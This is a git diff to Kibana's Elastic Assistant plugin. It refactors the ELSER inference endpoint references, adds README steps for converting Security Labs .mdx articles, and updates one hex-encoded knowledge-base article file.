a/x-pack/solutions/security/plugins/elastic_assistant/server/ai_assistant_data_clients/knowledge_base/index.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/ai_assistant_data_clients/knowledge_base/index.ts index f31f5b9fca08f..b3294a90708d0 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/ai_assistant_data_clients/knowledge_base/index.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/ai_assistant_data_clients/knowledge_base/index.ts @@ -38,6 +38,7 @@ import { map } from 'lodash'; import { InstallationStatus } from '@kbn/product-doc-base-plugin/common/install_status'; import type { TrainedModelsProvider } from '@kbn/ml-plugin/server/shared_services/providers'; import { getMlNodeCount } from '@kbn/ml-plugin/server/lib/node_utils'; +import { defaultInferenceEndpoints } from '@kbn/inference-common'; import { AIAssistantDataClient, AIAssistantDataClientParams } from '..'; import { GetElser } from '../../types'; import { @@ -68,10 +69,7 @@ import { loadSecurityLabs, getSecurityLabsDocsCount, } from '../../lib/langchain/content_loaders/security_labs_loader'; -import { - ASSISTANT_ELSER_INFERENCE_ID, - ELASTICSEARCH_ELSER_INFERENCE_ID, -} from './field_maps_configuration'; +import { ASSISTANT_ELSER_INFERENCE_ID } from './field_maps_configuration'; import { BulkOperationError } from '../../lib/data_stream/documents_data_writer'; import { AUDIT_OUTCOME, KnowledgeBaseAuditAction, knowledgeBaseAuditEvent } from './audit_events'; import { findDocuments } from '../find'; @@ -849,7 +847,7 @@ export const getInferenceEndpointId = async ({ esClient }: { esClient: Elasticse } // Fallback to the default inference endpoint - return ELASTICSEARCH_ELSER_INFERENCE_ID; + return defaultInferenceEndpoints.ELSER; }; /** diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/ai_assistant_service/helpers.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/ai_assistant_service/helpers.ts index c6405e0685cf5..949a4be70e663 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/ai_assistant_service/helpers.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/ai_assistant_service/helpers.ts @@ -13,6 +13,7 @@ import { DeleteByQueryRequest } from '@elastic/elasticsearch/lib/api/types'; import { i18n } from '@kbn/i18n'; import { ProductDocBaseStartContract } from '@kbn/product-doc-base-plugin/server'; import type { Logger } from '@kbn/logging'; +import { defaultInferenceEndpoints } from '@kbn/inference-common'; import { getResourceName } from '.'; import { knowledgeBaseIngestPipeline } from '../ai_assistant_data_clients/knowledge_base/ingest_pipeline'; import { GetElser } from '../types'; @@ -154,12 +155,17 @@ export const ensureProductDocumentationInstalled = async ({ logger: Logger; }) => { try { - const { status } = await productDocManager.getStatus(); + const { status } = await productDocManager.getStatus({ + inferenceId: defaultInferenceEndpoints.ELSER, + }); if (status !== 'installed') { logger.debug(`Installing product documentation for AIAssistantService`); setIsProductDocumentationInProgress(true); try { - await productDocManager.install({ wait: true }); + await productDocManager.install({ + wait: true, + inferenceId: defaultInferenceEndpoints.ELSER, + }); logger.debug(`Successfully installed product documentation for AIAssistantService`); } catch (e) { logger.warn(`Failed to install product documentation for AIAssistantService: ${e.message}`); diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/ai_assistant_service/index.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/ai_assistant_service/index.ts index 349c22c590ab8..185817d0afe6f 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/ai_assistant_service/index.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/ai_assistant_service/index.ts @@ -27,6 +27,7 @@ import { omit, some } from 'lodash'; import { InstallationStatus } from '@kbn/product-doc-base-plugin/common/install_status'; import { TrainedModelsProvider } from '@kbn/ml-plugin/server/shared_services/providers'; import { IRuleDataClient } from '@kbn/rule-registry-plugin/server'; +import { defaultInferenceEndpoints } from '@kbn/inference-common'; import { alertSummaryFieldsFieldMap } from '../ai_assistant_data_clients/alert_summary/field_maps_configuration'; import { attackDiscoveryFieldMap } from '../lib/attack_discovery/persistence/field_maps_configuration/field_maps_configuration'; import { defendInsightsFieldMap } from '../lib/defend_insights/persistence/field_maps_configuration'; @@ -49,7 +50,6 @@ import { assistantAnonymizationFieldsFieldMap } from '../ai_assistant_data_clien import { AIAssistantDataClient } from '../ai_assistant_data_clients'; import { ASSISTANT_ELSER_INFERENCE_ID, - ELASTICSEARCH_ELSER_INFERENCE_ID, knowledgeBaseFieldMap, } from '../ai_assistant_data_clients/knowledge_base/field_maps_configuration'; import { @@ -290,7 +290,7 @@ export class AIAssistantService { type: 'semantic_text', array: false, required: false, - ...(targetInferenceEndpointId !== ELASTICSEARCH_ELSER_INFERENCE_ID + ...(targetInferenceEndpointId !== defaultInferenceEndpoints.ELSER ? { inference_id: targetInferenceEndpointId } : {}), }, @@ -374,7 +374,7 @@ export class AIAssistantService { if (isUsingDedicatedInferenceEndpoint) { this.knowledgeBaseDataStream = await this.rolloverDataStream( ASSISTANT_ELSER_INFERENCE_ID, - ELASTICSEARCH_ELSER_INFERENCE_ID + defaultInferenceEndpoints.ELSER ); } else { // We need to make sure that the data stream is created with the correct mappings @@ -542,7 +542,9 @@ export class AIAssistantService { } public async getProductDocumentationStatus(): Promise { - const status = await this.productDocManager?.getStatus(); + const status = await this.productDocManager?.getStatus({ + inferenceId: defaultInferenceEndpoints.ELSER, + }); if (!status) { return 'uninstalled'; diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/config_schema.ts b/x-pack/solutions/security/plugins/elastic_assistant/server/config_schema.ts index 4c4273f00b95b..1539a4a6f15d0 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/config_schema.ts +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/config_schema.ts @@ -5,14 +5,14 @@ * 2.0. */ import { schema } from '@kbn/config-schema'; -import { ELASTICSEARCH_ELSER_INFERENCE_ID } from './ai_assistant_data_clients/knowledge_base/field_maps_configuration'; +import { defaultInferenceEndpoints } from '@kbn/inference-common'; export interface ConfigSchema { elserInferenceId: string; responseTimeout: number; } export const configSchema = schema.object({ - elserInferenceId: schema.string({ defaultValue: ELASTICSEARCH_ELSER_INFERENCE_ID }), + elserInferenceId: schema.string({ defaultValue: defaultInferenceEndpoints.ELSER }), responseTimeout: schema.number({ defaultValue: 10 * 60 * 1000, // 10 minutes }), diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/README.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/README.md index 17c4a9dd2c45d..4be0d1fea9992 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/README.md +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/README.md @@ -32,7 +32,24 @@ category: The file name should be the article title in snakecase e.g. vulnerability_summary_follina.md -After adding new articles run the following to create the encoded article: +The content is often delivered to us as a zip of `.mdx` files that are in kebab case with some upper case letters. Follow the below steps to convert them to the required format: + +1. Delete all existing files in the `x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs` to ensure any removed articles are not left behind + +```bash +cd x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs +rm -rf ./* +``` + +2. Extract the zip of `.mdx` files into the same directory +3. Remove `callout_example.md` if present as this was a leftover example document, and also remove `signaling_from_within_how_ebpf_interacts_with_signals.md` if present as it was removed in https://github.com/elastic/kibana/pull/212525 +4. Open your terminal to this directory and run this script to convert the files to the required format: + +```bash +for f in *; do [ -f "$f" ] && n=$(echo "$f" | sed 's/-/_/g' | tr '[:upper:]' '[:lower:]') && n="${n%.mdx}.${n##*.}" && [ "${n##*.}" = "mdx" ] && n="${n%.mdx}.md" && [ "$f" != "$n" ] && mv "$f" "$n" && echo "Renamed: $f -> $n"; done +``` + +5. Run the following to create the encoded articles: ```bash cd x-pack/solutions/security/plugins/elastic_assistant diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/500ms_to_midnight.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/500ms_to_midnight.encoded.md index d042d7ebc930f..9493135d9e071 100644 --- a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/500ms_to_midnight.encoded.md +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/500ms_to_midnight.encoded.md @@ -1 +1 @@ -810218e9060858fb1236fc0e944f4d572458831588a7e5fc626472a8f176310e5613bb8b6f0413c0fb18150d2bc065cf9162118a87f2069a14a83c74d01fa01201a725e3c62e5359a40978944e0f4073f4734cd14a4b9376c79ce9112738be0c5595e0733383c4e00024b216cdbd42f06c9a978b3c994eb2bd182ec2193653621c20d947e36c600af8430860515151385c3e958bd3202acee63d76009b19899f9477387f02c16ee0b484083be004e70e85cbf54cd1e5ee92c99ea33993e11892fe9336d829c3058eba30bed10b3b16e25cab9f219d25ddd6de35f6399a0d9abb949da7340d4e1e12e98f833f2678dcaa6dcb712e519fff3821be537aeaf0631b704b57381d9ac6022e0e1295524ae20f449509e8bceb38c8156bb512a2f76d8565f22eced2af85d32fd3523e06fc925f2f6c9a836165fa22d3b74634bd31b5608a2f2f21bcab37b2a0f75f68efab2c6af32f330c6629a8c4ba1168e49a58b8a05e3ee9f6ddd881567f39234e4d7f7b34d3a80d981cacb235d85e22e6753b43b19ef39261c555b03e87d80b3832cf97fcaa99e7178260a53d5326c274d5455a9a8477cf11fcfb8ebb52e59b82226867e5081c91bd1fc46358e44483d8b3fb9ec1cb783f42d014f028ddf00cf908bab083a7c1e6019b474bd5432419fc55b40de151ce23372173483cdadb5d069ba7343e912fc437ede51b3d942d0b7a3c3204ba06f74638785e0f3c115c486781c2913679ff8f666148d72bbc9a264037843a363ffc6855e97000660ffa8f2f28d883bcaad5f664c6da3160d820a130931abfa7455bdd4e0025dfbb0bc2f8cccbd3e3e64f74c5f72619688d4d38dafd796483e45e333a4c827551cb5b613819c1250a07c98a35e1d3c5b80d9bd341e8005c44935016d19b5cc024f307db849ebda480c983c648b3f69ed24c44558bb09360bc03819483fbf3f3e6125d201a2cb23119bc8449b13ab5d89f45bce6c968ac2c0ed0cc3cab7822435e7c856dfa1c8a65966d447c3ec514553fda95e0bfd7d82c3da437aba1cbe8b0192fa5a7679b1062ebc43ace2c7de7fcd7d0f5aebf1cc436f1d8b46388a2dcfcc044c3fc23c6a287161b3522b628d3ccacf4c6184bde871d39e4b880a10a559b9789934a8b79495b64802ab2e7a18bff7fdaa404af06fcbb98019d3dfa8580bd36e0f7c4089eed049f2540c0b9fa4919b149a03264470a6de4eb79e789081ff99069192d14bc60cbf165a4b3362acae1ab84f5ef98ae77bf589971635f2783bfce7ac8fc12e5feca79378e5a05aa0c59fe6e7a59d61e2880099f29fbdf13cc6e8e35a1d8f8380afa5089c5cce772e255f73cb2a3bf913f82c6a2f17b1c8a5950f7112566899ca0c949b5653c63e8050674c182acc9fe6fad6ecb753a17a3e767b15651392184d64512a16776755c07e50eab05845d2aaabbc7a21cae3c1a0f40ad0b12dcc500c9e44bf21c41c64bc67d163506a12af6ff2173b39d38fd204b5edfd6ab65448de963da838419e7060b6f6438c26e632b8eeb03da7ef7a526bcdd8462199d303303f8d02349f6d379b842e93a7b784c8c854ffbf3004ec3a80062c52eb8a83ac1a2675084f2da8f0617b9758059a3cf5a71d2ee62c2fcb2ae0f255559c1e596d493d7fde67f36a76f4c8e9e8e01d82e97c4c68d2c41f11ed25c63684d705df4fae86caafefcba27c2fbfc160b2b34a461f3584914662decad69a94692feae6e4adf7c666b9f883c2b37783425471279af07cb7d74c3afc531d6c1c60f3a43c902ef94e3d01bc1dbc348a3aa4c7bc660fb1c2054f8696131e0ad7883cef775311c876539cc1690c2b2d2cc9347685ad7299e7c13866225815dbe15fa0f74d61cc0c32b247dabb2b9d97d54272dd830c6b842a91fcfddbed6790470eb355cf5ef4197a38607218b26a5193e9c58a29ce7a38c407c712ba36de51aa4ab7d0f098431adbc489ede05fb1096749bdb142704d7cd20e3697a246e851ded5e62c64a1da7580844311a3de20847f9c2e72dccb460bc2c41f1662cb364e3b120fc8c45f9f278759202353ff2e4efdef81e0e1f2aeb83a1fe1ed3f49b2c0435a82033c025e973a4a52756c1af9377741e0115358c69a6475924644a1f50557f3e91f4ae9e1f1564dd8d552f1c10dd4ef949629ca3e57622c91067367f18b2f9c94919ae5a68bcbc5c776d8ffa108087c2ed70c7dcf380d719ae171c63049e2d7350576782e0559b4a2201693164e821aa6ac83fc0820f3f070f339e96423eb40e2f84c5e58eacda470a4eff7b1e912196a672a46caef25f97807d3ebc69168815657ab43785cc70a253db5b024d35e6fac9a5909c61f8ebd71119f5d7e3274ea1b8c4f44c06d785ebdfc36fb1e168cd048587c566938b1f90b622d57a358a4276fffdfaae35cf98ae74c33269dbbaa8acc8fafc3443763e6006ad3855314be465cc455c066cb74d46211b62a8ad69beb46e096c42b2acad1dfebd5138a91c75c08e1a371b58ef5bb394ba5c038ec3aaebe6c48bbcd19dc60fc8e0774da894e61558bf1cd8d793ed683019bf7ba9503a46dd9147f036ef6bf915a7ac8662b94748bf29ed41beb400fd4754292620b2409537297d81c8bfc9c3c2e21dd5fddba5cd92a0b5391e9d3bf0766250b984ad3e6aa102016f26235732858f561d3be54056bbe1c4f3365ab67d2a27ff07b412d7c785de7cdc075c704ad566a9dd3e14e9760f2535a0d9c324ba864ad3d36dbc7f420412cbcecb454d0595117fce443273108f4c8c23eafae994eff0b88b6597405beb7237dcd4a330ca53141d127c54f7801b0720c56b335179342b685e5b392ff434bfe267fda443aef2e07d7733ddac2b680b1488ce3815934a34b8e496d37c8a32e3de530dc4149dd8276c578658361a0a120b1afb73ff52597b413c87d51be0f11f2fb87db71ac52e07f8b7692dc377e4b657e4891c2a7029afb39b149f6392f38305910bddef12f415e4195876bc18c064f8c4ad53960deda7e626da303495ba661bcba51dd4fb187062cc328b8d3c94a909aa283de11acf24890698a51689c30707b8acf4630a68f1eebb13ba59fa63eb7f9230db0ed6b5bb0890b654509a181e56336515a9b83c57c480a42eab643a33b28e7fc75930e918f0362b68cb7db2bacdd46dd1bbec3050747b893b840d206831ecabb3a60fead339b52cbddf10f22ac3d2286c1ff229cb44ab72611e1a9e6b2d7a79b478dd5a16a1b0eca94ba95e082255dec86e9ff28dbd446512eab003ef6d4cbc6d19433db3dab9384838b5db6a7889ae55db2cd7731f963657bbc70fb08ab505e5afb435445d8ac0aac073778c7de3ec41d5bdb76c9a3354cfbb0594878a2e9902351bd88aad5bdda165ae0c96c7513c4a211cb14b5ac6c078aee7ff116d5b1e0aca673308754d34da3cd4a9d0d7ec4cf3b015a078f958433eb90c7d38f9d6e3c47d2e139529fcdd5b4fa8c809c8246be3b7526606a12c4ca51b10d358ddcff843d2cf634f20e3fa9f26dc06456ab0f3a32f7ab25a72e68f53a638a44fb92cd6713380f06b83b7547141ac95cff78fac6a08c4ed01e2c1f526bad71ff56878d1013646908e912a23081c80dbc76744a652caae1dc47e9766dfcc04d2013f90b73667a599bfd1207f30ca4525f31ddb8c56aa8c6736aa32ac6fcc2b25c8619d3932731904a5918f7cceb2a3a3e35299d9e24ec5033f164e09c1157a4bc523564dc648e5608a53115f0f7ddfd32a3be0fbca4f1c2afd99cba711318a1c24a887b843cc23f5984a7e4a71e31080330508437d131d5b1b34a214bc496b613fedc832cae2c4c35f3e40a1ef394ad4d664f6f88400faf6745ba51abfd1ae632df09c828a9ff821751af1cf6ac1a85aae54d134a93b384856b278f8b8a2d9566d0b1d99c4e9525e4c4cfd42eb82e50b2da39b40b1fc7cba67e4bc136056b7ceb250a009bb17fdf05c155beb959d2cd69de815d38b88a882dc5aba955456b5774b24776a5a08132cbed6ad55d04c15c4ac5012315e217b042f1583073354876214f2e906df900edbdced058850c092cc7b08b000748470510463c1298b117b8f54e561edde91f8d20751fcbcc2032a4fb0dde3016c0a36b554524bc2079ced228242d15d6e0318fa26fecefd9fc47dea56f3f8186f1046b9ae7282b39ea995db73193b727766d1d06b45156bfef58ae07a463b27ba99cc9102baa8ca3e03922e60d23467858a90425415aefc6fe1287bd977ec99af7617fd792a60df9796e18be36471b7be98d95802a8fcd56562f091f8465aba6957acbc3c8e2a06e526eb345a4abbfe384affed3ab35f8959c695bc1d07953e0bf2466af14022e879969b4452bdc91c56526e49e93e70cdcefd6b16807314f2964114d04ffd6ee0b94c54e1a32b9d97a337880df7f2ab7a345920becf14a1c97ff86312a53ed063c643bc1956873259c4df956dc4305de36e7224356095ef679277a30811037fa0032b0a916aa953c1d5d9a74eb9e1ba22b2986a7b91b7b038a8cea6ccf4eb606c27d8f580460f4a70758e0fd81d26666b6860be68eb330aaa23f45440aa45bce3929509eeda30a08762856641c512da702acfd7bfeb4bfee3421d7d852f38ba8f828ba34f5c439cd79bbe43746201924516966805700665395cb2cdfb835d38fc29b66b638c1e90a6deea2f25447d9e52da5edcacf302dfb7d91fbe227157830d9f6497d30e15c365ccf543ba251cbeec1e3207b738e0557417a2a8b492fbb2d93e8167fb7fcc568fc2edb69180dbd640166c0a1af54ab65bad66cfb7e49c956a44a210bda7003ce49f711e7e2ae6c15791dd61dd9994f64de41d630caccb79e50f07737a2018d60dc01b0d05dcecdbb86325fa7c89762b95eccf1f34ff2e935379b7a425064c9110a42440dd25ee55047555d17cdcd88cf4bed29ed3ee34722710ff3cc45937f8e9b8d3f5331ce08684b7d6c196ca8530753c3d11fb2498c065a82a9174fae2ffb956eea0d08ffed475262fc2c792e795479dcc691c327a549fcf4c581d4dce7e9898eb1c84176c5c541c7d9609ef3d0168090dd5726febe612d90059a9dbe02c280c17093cff10ac959975ea2262d1483d8cf6ad976b050ebbe0cfceb7abfb7abec50d8cf30da6f10e13445d6e7ebccc012e0bdb1dda2177683b8a7ff20711ce0fe8931b34b374a3c4d49f07dcc85055923b3ede34a5bead784bf25a8cdf22820a75e202f1b4d745c4b81d6eb0d39466b66296df265279d2743ac9f7c2ffe32496d56a97a69d4635be20ee08b231885d139a1f6ca1ba5512066e41ab8e7b89647e53baf8a99d827a86751e9fc2c2dff2c5289a989003ed88eab6c468fb4d0a8eb66f1383d96febe612d90059a9dbe02c280c17093c6cd53e7d98183c51c8a5f7a255d4de85e48484ea75b47838d84ffa313b7f0c626522e001c973eed45e462b54417d299243ab8793c3109548476b579710f52a779aea616f5ed8dfbe00538799f46247eb2ef27ae8f0d887ed4bd097d328376124ccce7143f79da947032e5cf7f7ec923e444578961c84b1ac7453c99f82a9f93fb081b33a533db38ca4940d8a683fb9c69b3e7450e56985eee4ccd68de152161d698424f5022384f60f0c1885921a2b0c8de01983fa14a8e06c0566f2c34ece1ba826b06e9ba40dd72e01ed0ee81a68f426545c5f3c4af98fce3198ea3fef6d4a3c5ded3ac6401a34e5d765819df5880222ca91f9313b5a198b92bf888edd93dc66fdc2ed32d7035aa3f604c78d6d8f74703affde71c01d286b5cda1f07833957fe02be5c25754b18bd3653e78659897777db0c40752f99c56646d517efd3d2ccfd7b42f689b9b2e885225085bb8325ccac74d48ea52b6536989c3e680ebe94598bf9ffe069760e410dad12199c723a95975be16f6660e9788c30794e346c0125a330392116f60273bb12a4fa3a2dc2f410f11e76ce865082eee8055294a1d0d948a8f9f9066c626cef4c34d9657fe58effdd95b9b6a22476f7bb6d6c204c8380a5066e2d5ca7ab131baf5f5367afec1a72dcdb287c358e27a088e9458798c07ac74b25982795c3cc67b59af8850c000338ba80806955dce8f50ede065621818f42861f8aa78c7ebd411d4c7f8810387d303de14d5dab98bd0c41cbe9e9f982f49b3614d24149a864e74987e28b37b84cbeb3f3d7579bea8ef1ddbf7a329626d27578d7d64637749bad1dba11fb73b62dd2e912cb90def00199b838c2ec4e5ed49c14ec58a0929d1a55645652e7fad18b49b3adcfd7fe51722bd7ba82d7c91eef8780f5526917b70e2fb09a51419fc3202602a29ac38a88c3c53fd447c3cbcf04e71ee53f5b31dbb9be708e63abb289d2131cf3f75f7b495d061ea845137653b416aad2b605bff93d985c669aa5ca2a2f2c140f29ab1d11bdddcb8ec74cd845a55f436da60027979970104f6ac95cc770a5ff987db61c36bf474b75477fb1c627f97111edb66db00baf2ad603649aa83d5b5d4c88e743659ea8d71c9280b301d9619eed7be89e92d1a0f9bb1b996bff127a7d8cd403c91aaacfc6790a51071c91cc5ca02eb370dd99276b28dd6dc3080c4d92440b105d94aaf8262906807d9cb6dbe5310252d2e00d8bce44c977e845084b40bb2de12b3ddd3ff19aa926e0187e485bc8b80c0de17af1e3ff9f2bdbe2b1ec834f58ac3ac800f9d1207c1a50aa43b9977fb1f84c47ce026bbb8bd70a73a5b2663799acc3699c7c76baad2a8e88aaa093aebc54456479754dd28da7fefa2ba87a2978bb70fb4eb95f09ce744d5b1c05c268de0ce8e3486a1c84f40f891fc7d86f6e411d7cb91051ed84db4bcac11a97d485f5f9978ac9be6da328d08b1b81eafe6f3dac8ec8aa00d87c3e24842c7415e5a0c3984196964b660f52a8b987a155aed14ad626f681c6b9c185067f72cbf325e717068d4d7dcc17f6970294fa920d374bea488f6ca6725552cad017dab9ac6a7995047d6d3bc36165945f9c4d0cff6677404631d536490d909652e99e7d15f8983a326d96d3b7609640c274f4b96403c92712cffd67c9f9bf6bd145981e88b4a354b02eaf1d775e190846dff0058152126cfb285938f59aaaceddbae013d2cc9e180374c2314d05bdb271f6eb7ea2eb5bc9649baaa25fa02a77738c43a27d4205a0bad3b7926430f75e7cbece24863253ef2473dead442263eba49f67d65d7955b4c8c53c6ab7604bc21a8f1e91000a34acc868c54e1457766dd7abe856a5278344b992f4e9d408c63d2d95a0b4abeb8987ba129b7740b49d294e9ad791becba99a3abc82c1e9a815be63b78e40e06225fb8a6b9048f9690020afb8b4d9856ca8e839211c2620d6ce6903228bbed3dad728a9f595da653834c1ae62034d7f1780a717e985064d67d49bff95b9987f7443afb9f68d133762793544f7ae7fb0fed07b98c7ca02bd28010021a3be0d8d348837a6548c533c6a1c4af5645ca190650a312542790ed285e30d5c84db5c8d160af791b97d318a90ffe959a6c61a18638dc26d0bd3781f6808f8a2733468c85dc35ec54a4e5d4374f808fab19c7d66fda7c8cbe73c5642744ea5c6e34a1f08d4bb1e4761c4d2c1a5a3ac08dd2e2aff7f13a1eb114481ec6717c137c4795b731d0a60fff9b3489c61b78436dfc0f8359a4104b630eff94a088b182ace3af434095e88c4df74dd598896ab7e4f76b0fe2f7e3a2d6e1495a5c1c01c28c4b4496bf3a8b7a369033021f839907704269bad6ed12b3ea299852ac1191860451a71077cdb53515fb5c73dc8d7d984e5a965acc57f8664185c52cb4a756cb30eb0daba19dec95d664fe5daeef424dd66fa7eb82056ec1c696feb1aeaee97750fa15a2bf68dfd053bd323e288397a516ebed2843bad445c55c41d74f213845ec44f1531ddd18be399d0567d2e34f73a103182c9a63e33753c2d40aa601fd38fa5d3b041f539c18ab5f0260733c71254d2167cb14de35089930332497a9dbb0abdfbc67644834f52e6fda3dd12f2cfe2378db61671ca05487c8a5766d43b51dbf0a5abe95ec11666ec19a72e3a313e0e78d1604829f21341ed3f6a495d288f632505e2f474416927f37e9905320a9e40065c4bb0223524cebdc5f2f37c26506642d50d455416471c7ab72e6575b8b47b7804189bead28f2a6c11cfdff0df0310b35976ee99726b3a72d7888a88fe9cc56bc8ec57126b181ed68d9ab51906c9640bb91b2ecc0a2e57919bef4b44bd7782cd25576958b46922a92c88e8b9fe8de36cad2170dedc813d9862b32e05396b46226250e5e632cc4e8b13a909358e83dc6bf85d9807c1ccedfa414786f7a5aa3027383c2ffe94d09b06b5a29ed732282a62aae8810e229f6d5391157d622665e0f80046c6a9ffd66215091dc06a301fde29521fd1f5b5cba42d4ffecc1f5c8928c44bc34469881e618730d41bee2d8cf38cc959996f1f8f536847e4d047ab6262f8a14894fd50bf4ff03aeecc8116a9496191ef115bc586d9cc2745fe3592a3c0998fcd20e84b7ae56b4744bdd9f1f9c12387fc999a50c2462621b49974d61db21045b7a5ab39ef4b365f96e392e9a18149d3064fd5979166dba9fb8d7cdf3f9ff0cbff5cbfa21b270fbfdcbf848c5656aecbafc6dd72112f9682405fd1d28ababbc0a5d98589d063d7fdf086b0d29225dff069d3df8d182a487f9e431d8b11b5d8acda2cb5699426354e36e7b9f509d06fb36a910338c6a7d2d5752a97230ddc776e726e6825fbf62f74cc131ce37e4f09d253a9359a8faf3ae57ea4d2fd62bc51732574f4d34223961296f33699b4b50a7396acd38ab5fb4f30d95c20a42a94e63ecdab2f3a64f684e726d13afea01697249bb45cc0e99f927a464b4799e6c553bdba5036461d03f11ff8af03963b43d4c86616ee083f8f8c8568c3e99d4873fb4a56f87027f0d16af5bb5fabcad845b0dfb6ce1009c26a2de04785aed256dfb5d38facdb1bae62c08c75dabcbcbb2fdcb15085a0d90f70bd7a6482271d559efce7e9885ee128bd75568716a31c1d8c619e3a6c02d906018a04e99ada50a9602811baa17c39e37703d460cfefb8905e63b34fe717c008cd0fad1018d468d50584ef822b26f52cb83afdd9456b126eb848df00e56c6e93f9a773dd52d6109b25abff100fb92faca8c453048c7ed671062c960c5e927c885390b4855f114c200121ed5c35b4fd9d47ef2583ef96508254435f9899b4e1774a89e0bd122b8862e6c607dba3bdbff430cd4942811d8d30bfbf604a6e6d559a538d20028b5cabcbfab6aa10dbf91acc4ea8c51c0d96285acddef66a6a785a636507a883094d43f47fd2e59748de96f9c85457cadd61c7166fcf6c0301842b22b868f6dd7a60a67ab2d7d766c846dd9c27b2c5eed1b4ca1831acfa9b487db6258ec240aa928aa5bf4161cc0a540a5b4a2dfad45534c2de7521c8968b0e9108d94c03272370d35ff5141c8481d8731fdbc556c8559c61687229df0a549e7a642abc1f03c01cad7f645849eb9f52d8bd884adc538a89d278283b4661bd00d6acdd36dcaa20a6820f2f3f6878983fea3861ef0d336017ddbe6c34840fdcfade0fd9e5f4ff65e60f869ab1471bb00768ef417321ea99a0d6d49e7fbb7e70c7fc61e17e64ab31e0eb2345a25581b59aaee71b68fed0eda4a623f7796d2fa4cd98da8655c2f22beeb2a31342bf249832fc1c8dcdb7f75d24fd01d87b96b0afc033cb8cfe8a05469225402509770755f0b2ef47a91964201204964e05486bdb4b56650b08fd8e1693dd32853a4ea731519d7e7dfd94ad2e706e3ae8142c0fae606bf6b1565c27c29893938c5c1ac0f06b6dd391404d0afcc65bbcdc716a5611bc2e6168fa532d5f303eefc35c8565e81665e7111686b2dbe5eec2a5934e51ddfb6f893896440c4764bfda43cfb2479cdbb9db75c07dccf42c4aa971f30f5f9e1eb412c8fa5b085ca8bb3c2dd0c0d069bcbccfced6a696225eff7090511bedd6414b6022d0b14f49ecd69cbb5ea2f670de159d9036c99bb7d0c2bbe5f52447012f6afe6890c6bd41653e0268a3c5c4eb0fb833796a65bdb4416f67c7b758c77edcf04250de5449292ec67b2219a29590c3e48a4c75c0941fdd4c0f08d83ced03954487933d085ba80c6b76da0928d2587768504fc200ea4395e1c5ce547505f7fb69f9fc3fea359067473215d07e91d663bcb21ecac0a9f76f03863554650595b04c0d909836322e178ec7aa7e93d783b6464c5dc8e6e7243a82c1bf71e246cbff6f9e59636a78b47850703b09770246c303ca3f6e525dcdbb93db5433571f65216c8e586a2f5f63bb6c6d99a9877e4a133f283c798c93d69f140060e56302e03c5cf4c492c521cf1796e8e14d18f10afeec4bf4ee0d5f1486b880da1d59e99a422b22497023b87329ef984b61e51afbfa61ac866cba879d1399b4fcd34906ac7a21532659ba274cf1c9bdd8b562466710fd64bb333389d22187490609d24679ea930ff4e1d7ffdc3ed747a10018950453bb0301d179dcb2f9d88482998642feb75859f90a90cacbfdfdf449df44f24ebf1b8698e9239dc6a858bd9ae4d20b66220fe32f0710b133fe3c0ce7a730eddc6f8ada3d12480883e7c3feaa43d02d9d603882b6fe9a3ee92428178b907c7484d559dd082f52b168af846e8ef61ad223c95a07f487c4cfa56ffddd5aecd9248e7192255d34c18f47095912fcdce841e48c52daeb3e995798b11d493f34fd57a8ca78124dbb7ea45e9ec36e2947a7ffd17bea740ce59aed2ed5c426ffc943c6d077ad6867a626e30aa3df9d30e0863516c8c777cffae261b206029c069c2c02ce1f539568c9c6a08bef423287e6ebde207d79e6209fbf04b940e662675a63c5f9793755bb67ec22c59231ee08ee38bf8266e6a4a5036adb9d318eb5eb8e2670775aed0fea3438aaeb62d0fa2c42e3a99697f9393a8d7ecf1fec0062cc546dcc8ad27d68dea2ae412e423377d07b9cc721ce2462908b48ed865c4319a6398a357dbb03472d9cd0f530b3fbe0659b409bd32c548fecf559d190d48831f571fac4f7c5bc47aa9cc63d76a94d5f87fa71daeae524a411d874383f1f06c50332b08aca056be26f74cf164ed0da70ba7e71ec3c65faba166ebda9be799be07cfcdff6c385740b540535682b48ef660a4620017ee090e75eb2e3cf440d39f005074febb9693deb83f7d85ecc900224b0407eb365374416251317fcf3611b375c0580274982182d2b9d0b72dca1a5379e0b1c389a7b818aa24bad6574600185806465f0cabc228be5ee3157cc3523d1f05f3f7ef0c2318ab0f1a7bc43e3712c26c8b16ef1cdb3e7c15298e7e033ae4a80a056eeaed3764726fad227b02ffd1b662a88cbe5ba51e7fa8cfa475d4d42983ca0f83c2eab8b8d8a4141cc2997e9515c1f00c839f2209495b13c6e33529ea27f5a3a8485a2b5d83e153668491598f2579d4ac8fb95e51456582ba4b5bf7786e7988f1a4e6c2e0aaf4ac3c280edd881c8d7face23a44e69d608b72cf4a5a60947529faed665449a5ae6f0546f41636804861618f875b8a98d0ac0041202349916418f325e94c1cd0ccb4301e1ea22749d30abb20e22f68ea08bc21543f78f16331ce004cff1a395e0d3dc68907722fa62695c38ae1a70d138b8063d6c254bbe2ca2713f159e10e354fd48bd7bf4ad3e3e3dd3e198d7899586cfb971f2b73a8af3598d3e254311dd9971fdcd0d9b012ab5bddcbb76f0eddc8bd68c6fdc7ebc191fa78c2d5b73ca312fab8cefc4ba60d43a5bcb094b63e34793b20963e51bff3b532de1a57d3896db